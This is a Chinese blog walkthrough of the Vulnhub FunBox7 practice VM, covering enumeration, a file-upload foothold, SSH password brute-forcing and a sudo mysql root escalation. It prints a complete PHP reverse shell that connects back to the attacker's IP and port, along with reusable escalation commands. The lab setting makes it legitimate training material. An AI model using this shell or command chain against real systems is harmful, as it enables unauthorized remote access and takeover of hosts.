看完这篇 教你玩转渗透测试靶机vulnhub——FunBox7( EASYENUM)

本文涉及的产品
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
RDS AI 助手,专业版
简介: 看完这篇 教你玩转渗透测试靶机vulnhub——FunBox7( EASYENUM)

Vulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

老样子需要找到flag即可。

Vulnhub靶机下载:

https://download.vulnhub.com/funbox/Funbox7.ova

Vulnhub靶机安装:

下载好了把安装包解压 然后导入Oracle VM打开即可。
在这里插入图片描述
在这里插入图片描述

Vulnhub靶机漏洞详解:

①:信息收集:

kali里使用netdiscover发现主机
在这里插入图片描述
渗透机:kali IP :172.16.5.117 靶机IP :172.16.5.112

ping的通 环境搭建成功!!

在这里插入图片描述
在这里插入图片描述
通过nmap 扫描发现开启了2280端口 简单的扫一下 dirsearch -u url 访问robots.txt 并没有可以利用的信息

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
再次进行扫描 使用gobuster 访问mini.php 发现是有文件上传漏洞!!

gobuster dir -u http://172.16.5.112/ -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -e

在这里插入图片描述

②:文件上传GetShell:

在这里插入图片描述

可以通过修改 mini.php 然后nc getshell 使用Python 进行交互:python3 -c 'import pty; pty.spawn("/bin/bash")'

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '172.16.5.117';  // CHANGE THIS
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
   
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
   
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
   
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
   
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
   
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
   
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
   
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
   
    // Check for end of TCP connection
    if (feof($sock)) {
   
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
   
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
   
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
   
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
   
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
   
    if (!$daemon) {
   
        print "$string\n";
    }
}

?>

在这里插入图片描述

③:sudo -mysql 提权:

使用 find / -perm -u=s -type f 2>/dev/null 可以使用sudo -l 查看一下 发现需要root密码

在这里插入图片描述
进入家目录 发现有五个用户 直接尝试暴力破解吧 使用 hydra 一个一个试 最后爆破得到:goat/thebest

在这里插入图片描述
在这里插入图片描述

然后使用 SSH 登入 :ssh goat@172.16.5.112

sudo -l 发现 是mysql 提权网站 查询一下:https://gtfobins.github.io

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

sudo mysql -e '\! /bin/sh'

在这里插入图片描述

④:获取flag:

在这里插入图片描述
至此获取到了所有得flag,渗透测试结束。

Vulnhub靶机渗透总结:

FunBox系列第七个靶机了 这个靶机比较简单
1.信息收集 获取ip地址 和端口信息 进行扫描 dirsearchgobuster工具的使用
2.网站渗透 发现文件上传漏洞,上传木马 运行木马 nc 进行回弹 获取shell
3.最后是mysql 提权 的学习 和sudo 提权一样

因为最近刮台风 所以只能在家里面更新啦 这是这个系列第七个靶机啦 后续会把这个系列更新完!🙂
最后创作不易 希望对大家有所帮助 喜欢的话麻烦大家给个一键三连 你的开心就是我最大的快乐!!

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
相关文章
|
安全 Linux 网络安全
Neos的渗透测试靶机练习——DC-3
Neos的渗透测试靶机练习——DC-3
207 4
|
安全 Shell 网络安全
Neos的渗透测试靶机练习——DC-1
Neos的渗透测试靶机练习——DC-1
289 4
|
Devops Shell 网络安全
Neos的渗透测试靶机练习——Wakanda
Neos的渗透测试靶机练习——Wakanda
179 2
|
安全 中间件 Shell
渗透测试-靶机DC-2-知识点总结
渗透测试-靶机DC-2-知识点总结
425 0
|
安全 网络协议 Shell
渗透测试-靶机DC-1-知识点总结
渗透测试-靶机DC-1-知识点总结
241 0
|
安全 Shell Linux
记录VulnHub 靶场——Escalate_Linux渗透测试过程
本文档描述了一次靶场环境的搭建和渗透测试过程。首先,提供了靶机环境的下载链接,并建议在VMware或VirtualBox中以NAT模式或仅主机模式导入。接着,通过Kali Linux扫描发现靶机IP,并用Nmap扫描开放端口,识别出80、111、139、445、2049等端口。在80端口上找到一个shell.php文件,通过它发现可以利用GET参数传递cmd命令。
916 0
|
安全 网络安全 数据安全/隐私保护
VulnHub 靶场--super-Mario-Host超级马里奥主机渗透测试过程
这篇文章描述了在一个网络安全靶场环境中进行渗透测试的过程。首先,从百度网盘下载并导入虚拟机镜像,然后将其网络设置为NAT或仅主机模式。接下来,通过扫描靶机IP地址的本地网络段,发现靶机IP为192.168.220.135,并且了解到靶机上有一个名为“mario.supermariohost.local”的Web服务,运行在8180端口。尝试SSH弱口令攻击失败后,通过信息收集找到一个名为“luigi.php”的页面,其中包含一段英文提示,提示需要将域名添加到hosts文件中。 通过cewl工具从luigi.php生成字典文件passwords,然后使用hydra工具尝试SSH登录,成功获得l
375 0
|
Shell Linux 网络安全
基于Vulnhub—DC8靶场渗透测试过程
这篇文章描述了一个渗透测试的过程。首先,作者下载了一个名为DC8的靶场环境并将其导入虚拟机软件,将网络设置为NAT或仅主机模式。然后进行了信息收集,通过ARP扫描发现靶机IP,并使用nmap扫描开放端口,发现80和22端口开放。进一步利用SQL注入漏洞,通过sqlmap工具获取了数据库中的用户名和密码
325 0
|
数据可视化 前端开发 测试技术
接口测试新选择:Postman替代方案全解析
在软件开发中,接口测试工具至关重要。Postman长期占据主导地位,但随着国产工具的崛起,越来越多开发者转向更适合中国市场的替代方案——Apifox。它不仅支持中英文切换、完全免费不限人数,还具备强大的可视化操作、自动生成文档和API调试功能,极大简化了开发流程。
|
7月前
|
Java 测试技术 容器
Jmeter工具使用:HTTP接口性能测试实战
希望这篇文章能够帮助你初步理解如何使用JMeter进行HTTP接口性能测试,有兴趣的话,你可以研究更多关于JMeter的内容。记住,只有理解并掌握了这些工具,你才能充分利用它们发挥其应有的价值。+
1166 23